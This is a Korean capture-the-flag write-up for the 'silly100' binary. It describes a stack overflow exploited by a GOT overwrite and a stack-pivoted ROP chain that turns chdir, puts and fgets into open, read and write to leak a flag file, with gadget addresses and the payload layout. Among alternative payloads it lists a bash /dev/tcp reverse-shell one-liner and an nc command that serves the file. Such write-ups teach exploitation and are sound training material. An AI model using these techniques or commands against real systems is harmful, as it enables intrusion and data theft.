문제 설명.
read /home/silly100/flag.txt :p
ADDR : challenge.b10s.org
PORT : 13301
binary : http://jff.b10s.org/files/silly100
* ASLR & NX are enabled on challenge server
* Server OS : Ubuntu 10.04
Binary를 받은 후 디스어셈블 해봤슴.
흠 사진에 액자를 넣어봤는데 캐구림.
내용은 매우 심플.
/home/silly100 로 경로를 바꾼후에 fgets로 입력을 받아서 stack에 strcpy .
친절하게도 입력값을 stack이 아닌 data 영역으로 받음.
문제에 나와 있듯이 서버 환경은 다음과 같다.
1) ascii armor + ASLR + NX
2) xinetd (소켓 코드가 없음)
그렇다면 rop로 사용할만한 payload는 3가지 정도.
1) open - read - write
파일을 직접 읽어온다.
2) mprotect - jmp or call
buffer에 쉘코드를 올려놓고 mprotect로 실행권한을 줘서 쉘코드를 실행.
3) system 함수
system 함수로 아래의 명령어를 실행.(reverse connection, nc)
bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
nc -l 7878 < /home/silly100/flag.txt
물농 나는 수컷답게 직접 열고 읽어오는 방법을 선택했다.
chdir, puts, fgets의 GOT를 각각 open, read, write 함수를 가리키도록 바꿔주고
파라미터를 알맞게 배치해준후 chdir, puts, fgets의 plt를 호출할 것이다.
먼저, got overwrite.
ASLR로 인해 라이브러리의 주소가 바뀌지만 함수 간의 오프셋은 바뀌지 않는다.
0x1ec8d0 <chdir> - 0x1eb750 <open>= -0x1180
그러므로 chdir의 주소에 -0x1180(0xFFEEEE80)을 더하면 open 함수를 가리키게 된다.
따라서 타겟 함수들의 주소를 오버라이트 하기 위해선 더하거나 빼는 명령어가 필요하다.
필요한 '개짓'(gadget)은 꼴리는 방법으로 찾는다!
1) objdump + grep 으로 검색
ex) objdump -d silly100 | grep pop -A 3
objdump -d silly100 | grep pop -B 3
2) ropeme
또 바이너리에서 원하는 값이 있는 주소를 확인하고 싶을땐 gdb의 find 명령어를 이용하자.
ex) (gdb) find /b 0x08048134,0x0804a040,0x00
마침 사용하기에 딱 좋은 놈이 보인다.
0x80484ce: add [ebx+0x5d5b04c4] eax ;;
이 명령어를 사용하기 위해선 ebx 와 eax를 핸들링 할수 있어야 한다.
ebx, eax 관련 명령어를 찾아보니.. 이런 명령어가 있다.
0x80483cc: pop eax ; pop ebx ; leave ;;
다 좋은데 leave 때문에 ebp를 스택에 맞게 지정해줘야한다.
따라서 custom stack으로 페이로드를 미리 복사(strcpy)한 후에,
[strcpy][pop pop ret][dst][src]
0x08048420 strcpy@plt
0x08048607 pop %ebx; pop %ebp;;
다음 명령어들로 실행흐름을 넘겨줄 것이다.
0x8048573: pop ebp ;;
0x08048501: leave ;;
마지막으로 custom stack을 구성하기위해 고정된 rw 권한이 있는 메모리 영역을 찾아보자.
24] .data PROGBITS 0804a01c 00101c 000008 00 WA 0 0 4
(0804a01c부터 하니 값이 제대로 안들어가서 0804a025로 복사.)
앞서 알아낸 정보들로 구성된 대략적인 페이로드는 이런 모양이 된다.
0x08048573 pop %ebp; ret;
0x0804a025 ebp
0x08048501 leave; ret;
#custom stack
0x0804a025 ebp 0x0804a031
0x0804a029 pop eax, pop ebx, leave
0x0804a02d eax
0x0804a031 ebx
0x0804a035 add [ebx+0x5d5b04c4] eax; ret
0x0804a039 pop ebp
0x0804a03d ebp 0x0804a045
0x0804a041 leave ret
0x0804a045 ebp 0x0804a051
0x0804a049 pop eax, pop ebx, leave
0x0804a04d eax
0x0804a051 ebx
0x0804a055 add [ebx+0x5d5b04c4] eax; ret
0x0804a059 pop ebp
0x0804a05d ebp 0x0804a065
0x0804a061 leave ret
0x0804a065 ebp 0x0804a071
0x0804a069 pop eax, pop ebx, leave
0x0804a06d eax
0x0804a071 ebx
0x0804a075 add [ebx+0x5d5b04c4] eax; ret
0x0804a079 pop ebp
0x0804a07d ebp 0x0804a085
0x0804a081 leave ret
0x0804a085 padding
...
...
#call open read write
[chdir@plt][pop pop ret][filename][flag]
[puts@plt][pop pop pop ret][fd][buffer][size]
[fgets@plt][pop pop pop ret][fd][buffer][size]
open 된 fd 는 디버깅을 통해서 알아내었고, (귀찮으면 걍 찍어도 된다.)
읽은 값을 뿌려줄 fd가 문제였는데 검색해보니 xinetd는 클라이언트와 연결된 소켓으로 0을 사용한다고 알려주었다.
하지만 위와 같이 페이로드를 구성해서 그대로 입력하면 버퍼 사이즈인 0x400을 초과하므로
페이로드 사이즈를 줄이기 위해 필요한 주소값을 그대로 페이로드의 뒷부분에 박아넣었다.
완성된 exploit는 로컬 환경에서는 문제없이 파일을 읽어왔는데 정작 문제 서버는 아무런 응답이 없었다.
이놈이 나를 무시하나 라는 생각이 들어 페이로드를 왕창왕창 바꿔가며 시도해봤는데도 묵묵부답.
멘붕에 신음하다 혹시나 하는 생각에 ubuntu 10.04를 새로 받아 돌려보니.. 아뿔싸!!!!!
libc에서 함수들의 offset이 다르다. 헐
다시 계산해서 돌리니 바로 성공...
glibc 버전도 같은데 왜 이런 현상이 일어나는지 모르겠다.
다만 원래 테스트한 ubuntu는 업데이트 꼬박꼬박 해가며 써온지 좀 오래되서 뭔가 다를거라 생각한다.
silly100_ex.py